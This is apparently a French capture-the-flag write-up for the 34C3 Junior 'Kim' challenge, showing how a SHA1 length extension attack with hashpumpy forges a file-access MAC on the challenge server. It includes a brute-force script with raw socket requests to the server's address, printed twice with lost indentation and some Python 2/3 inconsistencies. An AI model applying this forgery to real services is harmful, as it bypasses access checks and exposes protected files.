34C3 Junior - Kim

Ce post suit mes précédents nohtyp1 et top n’hésitez pas à y jetter un oeil pour situer le contexte de ce CTF

0x1 Analyse

 

Aucun n’indice n’était vraiment donné mise appart : Check this out!!!!!!!!!!!\x80\x00…. avec un lien menant vers cette url : http://35.198.133.163:1337/files/952bb2a215b032abe27d24296be099dc3334755c/?f=sample.gif A l’aide du code source mis à notre disposition tout devenait clair :

La fonction mac() permet de générer une empreinte sha1 à l’aide d’un secret + le nom du fichier. Par exemple, ici pour le fichier sample.gif qui correspond à ce gif

Oh, you are having a bad day ? Did you die ?

La vérification est effectué via le sha1 passé en paramètre ainsi que le nom du fichier désiré. Le serveur récupère cesdeux paramètres, génère un hash via le nom du fichier et compare ce hash au hash qu’on lui a fourni. Si le hash est bon alors il nous laisse accèder au fichier sinon on est redirigé ici

Or nous ne connaissons pas le secret, il nous est donc impossible en théorie de générer le même hash que le serveur. Nous ne pourrons donc pas accéder à flag.

Cependant il existe une méthode permettant de tromper ce méchanisme : Length extension attack très bien détailler ici : hackndo.com

Fort heureusement pour moi qui n’aime pas spécialement la cryptographie et qui n’a pas spécialement de coder un outil de fortune qui essairait de reproduire tant bien que mal l’attaque, un outil avec une API python existe : HashPump

Il prend en pramètre les données nécessaires pour effectuer l’attaque :

  • un hash legit : 952bb2a215b032abe27d24296be099dc3334755c

  • la donnée qui a permit la création de ce hash : f=sample.gif

  • la donnée que l’on souhaite ajouter : f=flag

* la taille du secret

Eh merde on la connait pas, on remballe les gars c’est mort.

0x2 Scripting

Non sans déconner, il suffit d’essayer toutes les tailles de clé possible, elle ne doit pas mesurer plus de 30 char.

#!/usr/bin/python3
#encoding: utf-8
import requests,os, shutil, urllib, re
import hashpumpy
import socket
import urlparse
import re
import os

s = "952bb2a215b032abe27d24296be099dc3334755c"
data = "f=sample.gif"
a = "&f=flag"

for key in range(1,100):
res = hashpumpy.hashpump(s, data, a, key)
nhash = res[0]
payload = bytearray(res[1])

url = nhash + "/?" + payload
print str(key) + ":"+ url
GET("35.198.133.163", 1337, url, key)

Voila le script qui génère les deux chose dont on a besoin : le hash un peu modifié et la paramètre de l’url qui ressemble à quelquechose comme ça : &f=sample.gif\x80\x00…&f=flag Il suffit maintenant de faire cette requête HTTP : http://35.198.133.163:1337/files/90bbc48336bb9d412c7b4219fa165c5de6d94850/?f=sample.gifx80x00..h&f=flag

Note importante :

Une de mes erreurs sur ce chall a été l’envoie de cette requête. J’ai mis un long moment avant de me rendre compte que lorsque j’envoyais \x80\x00 (qui sont des char non imprimables) ils étaientt automatiquement converti en : %5Cx80%5Cx00 (url encoding) par les librairies standards comme requests ou urllib2

J’ai donc codé une fonction qui me permettait d’envoyer des caractères non ASCII

def GET(host, port, msg, key):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.connect((host, port))
s.send("GET /files/" + msg +" HTTP/1.0\r\n\r\n")

with open("/root/Desktop/output/" + str(key), "wb") as f:
f.write(s.recv(1000000))
f.write(s.recv(1000000))
f.write(s.recv(1000000))
f.write(s.recv(1000000))
f.write(s.recv(1000000))
f.close()
s.shutdown(1)
s.close()

Une fois le script lancé, il écrivait le résultat dans un fichier nommé par la taille de la clé essayée (1,2,3,4). Il m’a suffit de lancer cette commande pour regarder quel(s) fichier(s) avait une taille différente par rapport aux autres :

ls -l | cut -d " " -f 5 | sort | uniq

La taille de la clé était de 15 caractères :

#!/usr/bin/python3
#encoding: utf-8
import requests,os, shutil, urllib, re
import hashpumpy
import socket
import urlparse
import re
import os

s = "952bb2a215b032abe27d24296be099dc3334755c"
data = "f=sample.gif"
a = "&f=flag"

for key in range(1,100):
res = hashpumpy.hashpump(s, data, a, key)
nhash = res[0]
payload = bytearray(res[1])

url = nhash + "/?" + payload
print str(key) + ":"+ url
GET("35.198.133.163", 1337, url, key)

def GET(host, port, msg, key):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.connect((host, port))
s.send("GET /files/" + msg +" HTTP/1.0\r\n\r\n")

with open("/root/Desktop/output/" + str(key), "wb") as f:
f.write(s.recv(1000000))
f.write(s.recv(1000000))
f.write(s.recv(1000000))
f.write(s.recv(1000000))
f.write(s.recv(1000000))
f.close()
s.shutdown(1)
s.close()